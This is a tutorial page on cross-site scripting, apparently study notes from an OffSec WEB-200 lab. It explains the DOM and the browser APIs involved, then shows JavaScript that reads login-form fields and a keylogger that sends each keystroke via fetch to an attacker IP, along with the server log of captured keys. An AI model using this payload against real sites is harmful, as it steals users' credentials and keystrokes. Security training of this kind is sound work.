XSS 101
This can lead to the theft of cookies, session tokens, or other sensitive data, and can also allow attackers to perform actions on behalf of the user or deface web pages.
Sanitize and escape user inputs, use Content Security Policy (CSP) headers, and validate input on both client and server sides to prevent unauthorized script execution.
General Info
In layman's terms when a web page is loaded, the browser processes its HTML code, and creates a Document Object Model (DOM) of the page, aka DOM tree (Figure1).

JavaScript is used to access and modify all of the DOM's elements in order to create dynamic HTML content. XSS's goal is to inject JavaScript code for accessing and/or modifying the page's DOM. For instance, if our goal was to modify the page's header (h1
) element, we could do this using JavaScript.
// modifying the h1 element
document.querySelector('h1').textContent = 'Hello, DOM!';
XSS Types
There are mainly two XSS classifications (Figure 2):
Based on which location the payload is outputted: Server vs. Client (aka DOM-based).

Web APIs
There are many built-in web APIs, but the following are the most useful from an XSS-standpoint.
Used for debugging tasks, such as logging messages (console.log
).
Represents a window containing a DOM object. The document
property points to the DOM document loaded in that window. Some useful properties are localStorage
, location
, and alert
.
Represents any web page loaded in the browser and serves as an entry point in the web page's content, which is the DOM tree. This is the most effective interface for exploiting an XSS flaw.
Allows fetching local and remote resources. It is non-blocking, i.e., the UI won't be locked up while the request is made and the response is returned. It does not return the data right away, instead, it returns a promise to complete the execution. To access the response, we need to use the then
method and pass in a function to execute when the response is available.
Example
The example below is based on OffSec's WEB-200 course.
We have an app which contains a login form and our goal is to extract the username
and password
field values. We can use the document
and the console
APIs to achieve that (Figure 3).
// save the returned array into a variable
let inputs = document.getElementsByTagName("input")
// loop through the elements and extract their value
for (let input of inputs) {
// log each value to the console
console.log(input.value)

We might also want to create a custom keylogger to extract information (Figure 4).
// a function the logs keypresses to the console
function logKey(event){
console.log(event.key)
}
// execute the function every time a key is pressed
document.addEventListener('keydown', logKey);

If we send the above script to our target the keystrokes will be logged into their browser's console, but we won't have access to it. We can modify our script and use the fetch
API to exfiltrate the data.
// a function the sents keypresses to the our server via a GET request
function logKey(event){
fetch("http://192.168.45.214/k?key=" + event.key);
}
// execute the function every time a key is pressed
document.addEventListener('keydown', logKey);
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.168.101 - - [04/Aug/2024 10:21:55] code 404, message File not found
192.168.168.101 - - [04/Aug/2024 10:21:55] "GET /k?key=I HTTP/1.1" 404 -
192.168.168.101 - - [04/Aug/2024 10:21:55] code 404, message File not found
192.168.168.101 - - [04/Aug/2024 10:21:55] "GET /k?key= HTTP/1.1" 404 -
192.168.168.101 - - [04/Aug/2024 10:21:55] code 404, message File not found
192.168.168.101 - - [04/Aug/2024 10:21:55] "GET /k?key=L HTTP/1.1" 404 -
192.168.168.101 - - [04/Aug/2024 10:21:56] code 404, message File not found
192.168.168.101 - - [04/Aug/2024 10:21:56] "GET /k?key=i HTTP/1.1" 404 -
<SNIP>
Last updated
Was this helpful?